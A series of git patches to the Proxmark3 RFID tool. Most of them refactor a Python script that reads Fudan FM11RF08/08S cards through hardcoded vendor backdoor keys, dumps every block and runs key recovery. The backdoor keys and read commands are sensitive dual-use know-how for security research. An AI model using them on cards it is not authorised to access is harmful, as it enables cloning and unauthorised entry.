+140,17 @@ def main(): lprint("! Use --nokeys to keep going past this point") return + # FIXME: nr of blocks depend on the tag. RF32 is 256, RF08 is 64, RF08S is 64+8 + # Currently readBlocks is hardcoded for RF08S data, blkn = readBlocks(bdkey) data = patchKeys(data, key) dump18 = diskDump(data, uid, dpath) # save it before you do anything else dumpData(data, blkn) + + # FIXME: nr of blocks depend on the tag. RF32 is 256, RF08 is 64, RF08S is 64+8, + # Currently dumpAcl is hardcoded for RF08S dumpAcl(data) if mad is True: @@ -242,7 +253,7 @@ def getUIDfromBlock0(blk0): # Extract data from block 0 # ============================================================================== def decodeBlock0(blk0): - lprint("") + lprint() lprint(" UID BCC ++----- RF08 ID -----++") lprint(" ! ! SAK !! !!") lprint(" ! ! ! ATQA !! Fudan Sig !!") @@ -403,7 +414,7 @@ def recoverKeys(): lprint(f"[{kn}/", end='', prompt='') lprint("A]" if ab == 0 else "B]", end='', prompt='') if badrk > 0: - lprint("") + lprint() return keyfile @@ -788,15 +799,16 @@ def dumpBambu(data): # IF YOU PLAN TO CHANGE ACCESS BITS, RTFM, THERE IS MUCH TO CONSIDER ! # ============================================================================== def dumpAcl(data): - global blkn aclkh = [] # key header aclk = [""] * 8 # key lookup aclkx = [] # key output - lprint("\n=====================") + lprint() + lprint("=====================") lprint(" Access Control List") lprint("=====================") + lprint() aclkh.append(" _______________________________________________________ ") aclkh.append("| | Sector Trailers |") From a6c2535e88fe15f719093a68cb099c89fda5d3d7 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 18:01:59 +0100 Subject: [PATCH 087/155] python script: add fast dump --- client/pyscripts/fm11rf08_full.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index d1123ffc7..800391465 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -492,8 +492,20 @@ def readBlocks(bdkey): lprint("\n Load blocks {0..63, 128..135}[64+8=72] from the card") + # Try fast dump first + blkn_todo = blkn + p.console(f"hf mf ecfill -c 4 --key {bdkey}") + for line in p.grabbed_output.split('\n'): + if "ok" in line: + p.console("hf mf eview") + for line in p.grabbed_output.split('\n'): + if " | " in line and "sec | blk | data" not in line: + lsub = line[11:83] + data.append(lsub) + blkn_todo = list(range(128, 135+1)) + bad = 0 - for n in blkn: + for n in blkn_todo: cmd = f"hf mf rdbl -c 4 --key {bdkey} --blk {n}" lprint(f"`{cmd}`", flush=True, log=False) From 480b632528d5793f5c21e3b674253d1d4960b47e Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Fri, 8 Nov 2024 01:57:08 +0800 Subject: [PATCH 088/155] Minor hf iclass configcard fixes Fixed error messaging that was swapped between card key and keyroll key --- client/src/cmdhficlass.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 53a6d5262..2261e8d36 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -5044,7 +5044,7 @@ static int CmdHFiClassConfigCard(const char *Cmd) { memcpy(card_key, iClass_Key_Table[card_kidx], 8); PrintAndLogEx(SUCCESS, "Using card key[%d] " _GREEN_("%s"), card_kidx, sprint_hex(iClass_Key_Table[card_kidx], 8)); } else { - PrintAndLogEx(ERR, "--krki number is invalid"); + PrintAndLogEx(ERR, "--ki number is invalid"); return PM3_EINVARG; } } @@ -5057,7 +5057,7 @@ static int CmdHFiClassConfigCard(const char *Cmd) { memcpy(keyroll_key, iClass_Key_Table[kidx], 8); PrintAndLogEx(SUCCESS, "Using keyroll key[%d] " _GREEN_("%s"), kidx, sprint_hex(iClass_Key_Table[kidx], 8)); } else { - PrintAndLogEx(ERR, "--ki number is invalid"); + PrintAndLogEx(ERR, "--krki number is invalid"); return PM3_EINVARG; } } From 36c979090240c09cba2e178f808215d7282524d9 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 19:12:37 +0100 Subject: [PATCH 089/155] few fixes --- client/pyscripts/fm11rf08_full.py | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 800391465..9d2d6d46a 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -223,7 +223,7 @@ def getBackdoorKey(): for k in dklist: cmd = f"hf mf rdbl -c 4 --key {k} --blk 0" lprint(f"\n`{cmd}`", end='', flush=True) - res = p.console(f"{cmd}") + res = p.console(cmd) for line in p.grabbed_output.split('\n'): if " | " in line and "# | s" not in line: blk0 = line[10:56+1] @@ -236,7 +236,6 @@ def getBackdoorKey(): if bdkey == "": lprint("\n! Unknown key, or card not detected.") return None, None - lprint(f" Backdoor Key : {bdkey}") # show key return bdkey, blk0 @@ -441,7 +440,7 @@ def verifyKeys(key): cmd = f"hf mf rdbl -c {ab} --key {key[sec][ab].hex()} --blk {bn}" lprint(f" `{cmd}`", end='', flush=True) - res = p.console(f"{cmd}", capture=False) + res = p.console(cmd, capture=False) lprint(" " * (3-len(str(bn))), end="", prompt='') if res == 0: lprint(" ... PASS", end="", prompt='') @@ -454,7 +453,7 @@ def verifyKeys(key): if (sec == 0) and (ab == 0) \ and (key[0][0] == b'\xa0\xa1\xa2\xa3\xa4\xa5'): mad = True - lprint(" - MAD Key, prompt=''") + lprint(" - MAD Key", prompt='') else: lprint("", prompt='') @@ -494,10 +493,14 @@ def readBlocks(bdkey): # Try fast dump first blkn_todo = blkn - p.console(f"hf mf ecfill -c 4 --key {bdkey}") + cmd = f"hf mf ecfill -c 4 --key {bdkey}" + lprint(f"`{cmd}`", flush=True, log=False) + p.console(cmd) for line in p.grabbed_output.split('\n'): if "ok" in line: - p.console("hf mf eview") + cmd = "hf mf eview" + lprint(f"`{cmd}`", flush=True, log=False) + p.console(cmd) for line in p.grabbed_output.split('\n'): if " | " in line and "sec | blk | data" not in line: lsub = line[11:83] @@ -510,7 +513,7 @@ def readBlocks(bdkey): lprint(f"`{cmd}`", flush=True, log=False) for retry in range(5): - p.console(f"{cmd}") + p.console(cmd) found = False for line in p.grabbed_output.split('\n'): @@ -947,7 +950,7 @@ def dumpMad(dump18): lprint('\n`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,\n') - p.console(f"{cmd}") + p.console(cmd) for line in p.grabbed_output.split('\n'): lprint(line) From ea83ce81aad4edbe72405a40aa21558eef9e5b73 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 19:24:44 +0100 Subject: [PATCH 090/155] typo --- client/pyscripts/fm11rf08_full.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 9d2d6d46a..8356d2ed9 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -953,7 +953,7 @@ def dumpMad(dump18): p.console(cmd) for line in p.grabbed_output.split('\n'): - lprint(line) + lprint(line, prompt='') lprint('`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') From 0fe5825004f0c7fcfa8eb8b9e4917163d0ca190c Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 19:27:51 +0100 Subject: [PATCH 091/155] lprint: deal with prompt differently --- client/pyscripts/fm11rf08_full.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 8356d2ed9..2a0eaedb4 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -77,9 +77,9 @@ def startlog(uid, dpath, append=False): logbuffer = '' -def lprint(s='', end='\n', flush=False, prompt="[=]", log=True): +def lprint(s='', end='\n', flush=False, prompt="[=] ", log=True): - s = f"{prompt} " + f"\n{prompt} ".join(s.split('\n')) + s = f"{prompt}" + f"\n{prompt}".join(s.split('\n')) print(s, end=end, flush=flush) if log is True: From 2ef8493cf1de4a09c8c0ec945b6a8303176e111d Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 19:34:42 +0100 Subject: [PATCH 092/155] still more typos... --- client/pyscripts/fm11rf08_full.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 2a0eaedb4..e5e0969b0 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -644,7 +644,7 @@ def dumpBambu(data): FilamentDiameter_mm = struct.unpack('f', bytes.fromhex(data[5][30:41].replace(' ', '')))[0] Block5_12to15 = data[5][42:50] - DryingTemperature_c = int(data[6][9:11] + data[6][6: 8], 16) + DryingTemperature_c = int(data[6][9:11] + data[6][6:8], 16) DryingTime_h = int(data[6][15:17] + data[6][12:14], 16) BedTemperatureType_q = int(data[6][21:23] + data[6][18:20], 16) BedTemperature_c = int(data[6][27:29] + data[6][24:26], 16) @@ -682,7 +682,7 @@ def dumpBambu(data): for b in hblk: Hash.append(data[b][6:53]) - lprint("[offset:length]") + lprint("[offset:length]", prompt='') lprint(" Block 1:") lprint(f" [ 0: 8] MaterialVariantIdentifier_s = \"{MaterialVariantIdentifier_s}\"") lprint(f" [ 8: 8] UniqueMaterialIdentifier_s = \"{UniqueMaterialIdentifier_s}\"") @@ -693,14 +693,14 @@ def dumpBambu(data): lprint(" Block 5:") lprint(f" [ 0: 4] Colour_rgba = 0x{Colour_rgba:08X}") lprint(f" [ 4: 2] SpoolWeight_g = {SpoolWeight_g}g") - lprint(f" [6: 2] Block5_7to8 = {{{Block5_7to8}}}") + lprint(f" [ 6: 2] Block5_7to8 = {{{Block5_7to8}}}") lprint(f" [ 8: 4] FilamentDiameter_mm = {FilamentDiameter_mm}mm") lprint(f" [12: 4] Block5_12to15 = {{{Block5_12to15}}}") lprint(" Block 6:") lprint(f" [ 0: 2] DryingTemperature_c = {DryingTemperature_c}^C") lprint(f" [ 2: 2] DryingTime_h = {DryingTime_h}hrs") lprint(f" [ 4: 4] BedTemperatureType_q = {BedTemperatureType_q}") - lprint(f" [6: 2] BedTemperature_c = {BedTemperature_c}^C") + lprint(f" [ 6: 2] BedTemperature_c = {BedTemperature_c}^C") lprint(f" [ 8: 2] MaxTemperatureForHotend_c = {MaxTemperatureForHotend_c}^C") lprint(f" [10: 2] MinTemperatureForHotend_c = {MinTemperatureForHotend_c}^C") lprint(f" [12: 4] Block6_12to15 = {{{Block6_12to15}}}") @@ -721,12 +721,13 @@ def dumpBambu(data): lprint(" Block 14:") lprint(f" [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") lprint(f" [ 4: 2] FilamentLength_m = {FilamentLength_m}m") - lprint(f" [6:10] Block10_6to15 = {{{Block10_6to15}}}") + lprint(f" [ 6:10] Block10_6to15 = {{{Block10_6to15}}}") lprint(f"\n Blocks {hblk}:") for i in range(0, len(hblk)): lprint(f" [ 0:16] HashBlock[{i:2d}] = {{{Hash[i]}}} // #{hblk[i]:2d}") except Exception as e: + lprint(prompt='') lprint(f"Failed: {e}") From 8e43d12e4b0c92cb58c7a5ad7d3ab96d568d9b4e Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 19:37:15 +0100 Subject: [PATCH 093/155] still more typos... --- client/pyscripts/fm11rf08_full.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index e5e0969b0..ba7f618af 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -660,7 +660,7 @@ def dumpBambu(data): TrayUID_s = data[9][6:53] Block10_0to3 = data[10][6:17] - SppolWidth_um = int(data[10][21:23] + data[14][18:20], 16) + SpoolWidth_um = int(data[10][21:23] + data[14][18:20], 16) Block10_6to15 = data[10][24:50] ProductionDateTime_s = bytes.fromhex(data[12][6:53]).decode('ascii').rstrip('\x00') @@ -712,8 +712,8 @@ def dumpBambu(data): lprint(f" [ 0:16] TrayUID_s = {{{TrayUID_s}}} ; not ASCII") lprint(" Block 10:") lprint(f" [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") - lprint(f" [ 4: 2] SppolWidth_um = {SppolWidth_um}um") - lprint(f" [6:10] Block10_6to15 = {{{Block10_6to15}}}") + lprint(f" [ 4: 2] SpoolWidth_um = {SpoolWidth_um}um") + lprint(f" [ 6:10] Block10_6to15 = {{{Block10_6to15}}}") lprint(" Block 12:") lprint(f" [ 0:16] ProductionDateTime_s = \"{ProductionDateTime_s}\"") lprint(" Block 13:") From e4c283af5eb66716abae85bf22713c80a37deaeb Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 20:24:37 +0100 Subject: [PATCH 094/155] docstrings --- client/pyscripts/fm11rf08_full.py | 177 +++++++++++++++--------------- 1 file changed, 89 insertions(+), 88 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index ba7f618af..f353a2943 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -52,11 +52,13 @@ except ModuleNotFoundError: return str(s) -# +============================================================================= -# Print and Log -# >> "logfile" -# ============================================================================== def initlog(): + """Print and Log: init globals + +globals: +- logbuffer (W) +- logfile (W) +""" global logbuffer global logfile logbuffer = '' @@ -64,6 +66,12 @@ def initlog(): def startlog(uid, dpath, append=False): + """Print and Log: set logfile and flush logbuffer + +globals: +- logbuffer (RW) +- logfile (RW) +""" global logfile global logbuffer @@ -78,6 +86,12 @@ def startlog(uid, dpath, append=False): def lprint(s='', end='\n', flush=False, prompt="[=] ", log=True): + """Print and Log + +globals: +- logbuffer (RW) +- logfile (R) +""" s = f"{prompt}" + f"\n{prompt}".join(s.split('\n')) print(s, end=end, flush=flush) @@ -92,11 +106,12 @@ def lprint(s='', end='\n', flush=False, prompt="[=] ", log=True): logbuffer += s + end -# ++============================================================================ -# == MAIN == -# >> p. [console handle] -# ============================================================================== def main(): + """== MAIN == + +globals: +- p (W) +""" global p p = pm3.pm3() # console interface initlog() @@ -164,20 +179,20 @@ def main(): return -# +============================================================================= -# Get PM3 preferences -# ============================================================================== def getPrefs(): + """Get PM3 preferences + +globals: +- p (R) +""" p.console("prefs show --json") prefs = json.loads(p.grabbed_output) dpath = prefs['file.default.dumppath'] + os.path.sep return dpath -# +============================================================================= -# Assert python version -# ============================================================================== def checkVer(): + """Assert python version""" required_version = (3, 8) if sys.version_info < required_version: print(f"Python version: {sys.version}") @@ -186,11 +201,8 @@ def checkVer(): return True -# +============================================================================= -# Parse the CLi arguments -# ============================================================================== def parseCli(): - + """Parse the CLi arguments""" parser = argparse.ArgumentParser(description='Full recovery of Fudan FM11RF08* cards.') parser.add_argument('-n', '--nokeys', action='store_true', help='extract data even if keys are missing') @@ -206,13 +218,15 @@ def parseCli(): return args -# +============================================================================= -# Find backdoor key -# [=] # | sector 00 / 0x00 | ascii -# [=] ----+-------------------------------------------------+----------------- -# [=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. -# ============================================================================== def getBackdoorKey(): + """Find backdoor key +[=] # | sector 00 / 0x00 | ascii +[=] ----+-------------------------------------------------+----------------- +[=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. + +globals: +- p (R) +""" # FM11RF08S FM11RF08 FM11RF32 dklist = ["A396EFA4E24F", "A31667A8CEC1", "518b3354E760"] @@ -239,19 +253,15 @@ def getBackdoorKey(): return bdkey, blk0 -# +============================================================================= -# Extract UID from block 0 -# ============================================================================== def getUIDfromBlock0(blk0): + """Extract UID from block 0""" uids = blk0[0:11] # UID string : "11 22 33 44" uid = bytes.fromhex(uids.replace(' ', '')) # UID (bytes) : 11223344 return uid -# +============================================================================= -# Extract data from block 0 -# ============================================================================== def decodeBlock0(blk0): + """Extract data from block 0""" lprint() lprint(" UID BCC ++----- RF08 ID -----++") lprint(" ! ! SAK !! !!") @@ -322,10 +332,8 @@ def decodeBlock0(blk0): lprint(f" Fudan Sig: {hash}") # show ?Partial HMAC? -# +============================================================================= -# Fudan validation -# ============================================================================== def fudanValidate(blk0, live=False): + """Fudan validation""" url = "https://rfid.fm-uivs.com/nfcTools/api/M1KeyRest" hdr = "Content-Type: application/text; charset=utf-8" post = f"{blk0.replace(' ', '')}" @@ -359,11 +367,11 @@ def fudanValidate(blk0, live=False): lprint("\n ...Use --validate to perform Fudan signature check automatically") -# +============================================================================= -# Load keys from file -# If keys cannot be loaded AND --recover is specified, then run key recovery -# ============================================================================== def loadKeys(keyfile): + """Load keys from file + +If keys cannot be loaded AND --recover is specified, then run key recovery +""" key = [[b'' for _ in range(2)] for _ in range(17)] # create a fresh array lprint(f"\nLoad Keys from file: |{keyfile}|") @@ -380,10 +388,8 @@ def loadKeys(keyfile): return key -# +============================================================================= -# Run key recovery script -# ============================================================================== def recoverKeys(): + """Run key recovery script""" badrk = 0 # 'bad recovered key' count (ie. not recovered) lprint("\nRunning recovery script, ETA: Less than 30 minutes") @@ -417,15 +423,17 @@ def recoverKeys(): return keyfile -# +============================================================================= -# Verify keys -# ============================================================================== def verifyKeys(key): + """Verify keys + +globals: +- p (R) +""" badk = 0 mad = False - lprint("Check keys..") + lprint("Check keys...") for sec in range(0, 16+1): # 16 normal, 1 dark sn = sec @@ -472,27 +480,28 @@ def verifyKeys(key): return rv -# +============================================================================= -# Read all block data - INCLUDING advanced verification blocks -# -# [=] # | sector 00 / 0x00 | ascii -# [=] ----+-------------------------------------------------+----------------- -# [=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. -# ============================================================================== def readBlocks(bdkey): + """ +Read all block data - INCLUDING advanced verification blocks +[=] # | sector 00 / 0x00 | ascii +[=] ----+-------------------------------------------------+----------------- +[=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. + +globals: +- p (R) +""" data = [] blkn = list(range(0, 63+1)) + list(range(128, 135+1)) - # The user uses keyhole #1 (-a) - # The vendor uses keyhole #2 (-b) - # The thief uses keyhole #4 (backdoor) - # |___ - lprint("\n Load blocks {0..63, 128..135}[64+8=72] from the card") # Try fast dump first blkn_todo = blkn + # The user uses keyhole #0 (-a) + # The vendor uses keyhole #1 (-b) + # The thief uses keyhole #4 (backdoor) + # |___ cmd = f"hf mf ecfill -c 4 --key {bdkey}" lprint(f"`{cmd}`", flush=True, log=False) p.console(cmd) @@ -532,12 +541,10 @@ def readBlocks(bdkey): return data, blkn -# +============================================================================= -# Patch keys in to data -# -# 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... -# ============================================================================== def patchKeys(data, key): + """Patch keys in to data + 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... +""" lprint("\nPatch keys in to data") for sec in range(0, 16+1): @@ -562,11 +569,8 @@ def patchKeys(data, key): return data -# +============================================================================= -# Dump data -# ============================================================================== def dumpData(data, blkn): - + """Dump data""" lprint() lprint("===========") lprint(" Card Data") @@ -589,10 +593,8 @@ def dumpData(data, blkn): lprint() -# +============================================================================= -# Let's try to detect a Bambu card by the date strings... -# ============================================================================== def detectBambu(data): + """Let's try to detect a Bambu card by the date strings...""" try: dl = bytes.fromhex(data[12][6:53]).decode('ascii').rstrip('\x00') dls = dl[2:13] @@ -613,16 +615,15 @@ def detectBambu(data): return False -# +============================================================================= -# Dump bambu details -# https://github.com/Bambu-Research-Group/RFID-Tag-Guide/blob/main/README.md -# -# 6 18 30 42 53 -# | | | | | -# 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... -# +============================================================================= def dumpBambu(data): + """Dump bambu details +https://github.com/Bambu-Research-Group/RFID-Tag-Guide/blob/main/README.md + + 6 18 30 42 53 + | | | | | + 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... +""" try: lprint() lprint("===========") @@ -734,11 +735,6 @@ def dumpBambu(data): # +============================================================================= # Dump ACL # -# 6 18 24 27 30 33 42 53 -# | | | | | | | | -# 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... -# ab cd ef -# # ,-------------------. # ( 2.2 : ACCESS BITS ) # `-------------------' @@ -815,7 +811,13 @@ def dumpBambu(data): # IF YOU PLAN TO CHANGE ACCESS BITS, RTFM, THERE IS MUCH TO CONSIDER ! # ============================================================================== def dumpAcl(data): + """Dump ACL + 6 18 24 27 30 33 42 53 + | | | | | | | | + 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... + ab cd ef +""" aclkh = [] # key header aclk = [""] * 8 # key lookup aclkx = [] # key output @@ -915,10 +917,8 @@ def dumpAcl(data): i += 1 -# +============================================================================= -# Full Dump -# ============================================================================== def diskDump(data, uid, dpath): + """Full Dump""" dump18 = f"{dpath}hf-mf-{uid.hex().upper()}-dump18.bin" lprint(f"\nDump Card Data to file: {dump18}") @@ -935,10 +935,12 @@ def diskDump(data, uid, dpath): return dump18 -# +============================================================================= -# Dump MAD -# ============================================================================== def dumpMad(dump18): + """Dump MAD + +globals: +- p (R) +""" lprint() lprint("====================================") @@ -959,6 +961,5 @@ def dumpMad(dump18): lprint('`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') -# ++============================================================================ if __name__ == "__main__": main() From 4decf6545db43412d2ce21e2bff01be59dcad44b Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 20:49:56 +0100 Subject: [PATCH 095/155] fudanValidate --- client/pyscripts/fm11rf08_full.py | 1 + 1 file changed, 1 insertion(+) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index f353a2943..aa55889ef 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -134,6 +134,7 @@ globals: uid = getUIDfromBlock0(blk0) startlog(uid, dpath, append=False) decodeBlock0(blk0) + fudanValidate(blk0, args.validate) mad = False keyfile = f"{dpath}hf-mf-{uid.hex().upper()}-key.bin" From f65639aa3ba7c177bae9583a47573659b351340d Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 21:14:30 +0100 Subject: [PATCH 096/155] spaces --- client/pyscripts/fm11rf08_full.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index aa55889ef..9c36fbc6e 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -339,11 +339,11 @@ def fudanValidate(blk0, live=False): hdr = "Content-Type: application/text; charset=utf-8" post = f"{blk0.replace(' ', '')}" - lprint(f"\n Validator: `wget -q -O -" - f" --header=\"{hdr}\"" - f" --post-data \"{post}\"" - f" {url}" - " | json_pp`") + lprint(f"\n Validator:\n`wget -q -O -" + f" --header=\"{hdr}\"" + f" --post-data \"{post}\"" + f" {url}" + " | json_pp`") if live: # Warning, this import causes a "double free or corruption" crash if the script is called twice... From 27fee070908f35659f799110636b841016a42f1d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 7 Nov 2024 21:34:35 +0100 Subject: [PATCH 097/155] style --- client/pyscripts/findbits.py | 2 +- client/pyscripts/spi_flash_decode.py | 7 +++++++ client/pyscripts/theremin.py | 3 +-- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/client/pyscripts/findbits.py b/client/pyscripts/findbits.py index 809465a2e..4cc3b92d9 100755 --- a/client/pyscripts/findbits.py +++ b/client/pyscripts/findbits.py @@ -31,7 +31,7 @@ def invert(data): def search(target,data): location = data.find(target) if location >= 0: - print('*** Match at bit {:d}: {}<{}>{}'.format(location, data[:location],target,data[location+len(target):])) + print('*** Match at bit {:d}: {}<{}>{}'.format(location, data[:location], target,data[location + len(target):])) else: print('Not found') diff --git a/client/pyscripts/spi_flash_decode.py b/client/pyscripts/spi_flash_decode.py index 8faa795ba..0f125844b 100644 --- a/client/pyscripts/spi_flash_decode.py +++ b/client/pyscripts/spi_flash_decode.py @@ -78,20 +78,27 @@ p = pm3.pm3() p.console("hw status") rex = re.compile("...\\s([0-9a-fA-F]{2})\\s/\\s([0-9a-fA-F]{4})") + for line in p.grabbed_output.split('\n'): # [#] JEDEC Mfr ID / Dev ID... 85 / 6015 if " JEDEC " not in line: continue + match = re.findall(rex, line) mid = int(match[0][0], 16) did = int(match[0][1], 16) did_h = did >> 8 did_l = did & 0xff t = None + if mid in spi: + mfr = spi[mid]['manufacturer'] + if did_h in spi[mid]: + if did_l in spi[mid][did_h]: + t = spi[mid][did_h][did_l] print("\n Manufacturer... " + color(f"{mfr}", fg="green") + "\n Device......... " + color(f"{t['part']}", fg="green") + diff --git a/client/pyscripts/theremin.py b/client/pyscripts/theremin.py index a286d6193..790fc6bf8 100755 --- a/client/pyscripts/theremin.py +++ b/client/pyscripts/theremin.py @@ -39,8 +39,7 @@ v = 0 out_freq = min_freq # Spawn the Proxmark3 client -pm3_proc = Popen([pm3_client, pm3_reader_dev_file, "-c", pm3_tune_cmd], - bufsize=0, env={}, stdin=DEVNULL, stdout=PIPE, stderr=DEVNULL) +pm3_proc = Popen([pm3_client, pm3_reader_dev_file, "-c", pm3_tune_cmd], bufsize=0, env={}, stdin=DEVNULL, stdout=PIPE, stderr=DEVNULL) mv_recbuf = "" # Read voltages from the Proxmark3, generate the sine wave, output to soundcard From 32028fd53f99bd0167e1d9cd6d66b725b02c20fd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 7 Nov 2024 21:36:02 +0100 Subject: [PATCH 098/155] minor text --- CHANGELOG.md | 1 + client/pyscripts/fm11rf08_full.py | 36 ++++++++--------- client/pyscripts/intertic.py | 64 ++++++++++++++++--------------- 3 files changed, 52 insertions(+), 49 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index bc5da24d9..fda262dde 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed `intertic.py` - missing comma in array (@iceman1001) - Added improved algorithm for `hf iclass legrec` leveraging reduced entropy from hash0 constraints (@antiklesys) - Fixed `hf iclass configcard` when generating elite or keyroll elite configcards for Rev.C legacy readers (@antiklesys) - Changed `hf mf c*` - now accepts a --gdm flag to write using uscuid/gdm 20/23 alt magic wakeup (@nvx) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index aa55889ef..1d37d9abc 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -13,12 +13,7 @@ import json from fm11rf08s_recovery import recovery -# ------------------------------------------------------------------------------ -# Revision log & Licence -# ------------------------------------------------------------------------------ -''' -1.2.0 - BC - Proxmark3 Submission -''' +author = "@csBlueChip" script_ver = "1.2.0" # Copyright @csBlueChip @@ -123,7 +118,7 @@ globals: # No logfile name yet lprint("Fudan FM11RF08[S] full card recovery") - lprint(f"\nDump folder: {dpath}") + lprint(f"\nDump folder... " + color(f"{dpath}", fg="yellow")) # FIXME: script is announced as for RF08 and for RF08S but it comprises RF32N key # and if RF08 is supported, all other NXP/Infineon with same backdoor can be treated @@ -143,7 +138,8 @@ globals: # Currently loadKeys is hardcoded for RF08S if args.force or (key := loadKeys(keyfile)) is None: if args.recover is False: - lprint("* Keys not loaded, use --recover to run recovery script [slow]") + s = color("--recover", fg="yellow") + lprint(f"Keys not loaded, use {s} to run recovery script [slow]") else: # FIXME: recovery() is only for RF08S. TODO for the other ones with a "darknested" attack keyfile = recoverKeys() @@ -153,7 +149,8 @@ globals: ret, mad, key = verifyKeys(key) if ret is False: if args.nokeys is False: - lprint("! Use --nokeys to keep going past this point") + s = color("--nokeys", fg="yellow") + lprint(f"Use {s} to keep going past this point") return # FIXME: nr of blocks depend on the tag. RF32 is 256, RF08 is 64, RF08S is 64+8 @@ -375,7 +372,7 @@ If keys cannot be loaded AND --recover is specified, then run key recovery """ key = [[b'' for _ in range(2)] for _ in range(17)] # create a fresh array - lprint(f"\nLoad Keys from file: |{keyfile}|") + lprint(f"\n Load keys from file... " + color(f"{keyfile}", fg="yellow")) try: with (open(keyfile, "rb")) as fh: @@ -434,7 +431,7 @@ globals: badk = 0 mad = False - lprint("Check keys...") + lprint("Checking keys...") for sec in range(0, 16+1): # 16 normal, 1 dark sn = sec @@ -450,11 +447,13 @@ globals: lprint(f" `{cmd}`", end='', flush=True) res = p.console(cmd, capture=False) - lprint(" " * (3-len(str(bn))), end="", prompt='') + lprint(" " * (3-len(str(bn))), end='', prompt='') if res == 0: - lprint(" ... PASS", end="", prompt='') + s = color("ok", fg="green") + lprint(f" ( {s} )", end='', prompt='') else: - lprint(" ... FAIL", end="", prompt='') + s = color("fail", fg="red") + lprint(f" ( {s} )", end='', prompt='') badk += 1 key[sec][ab] = b'' @@ -467,8 +466,9 @@ globals: 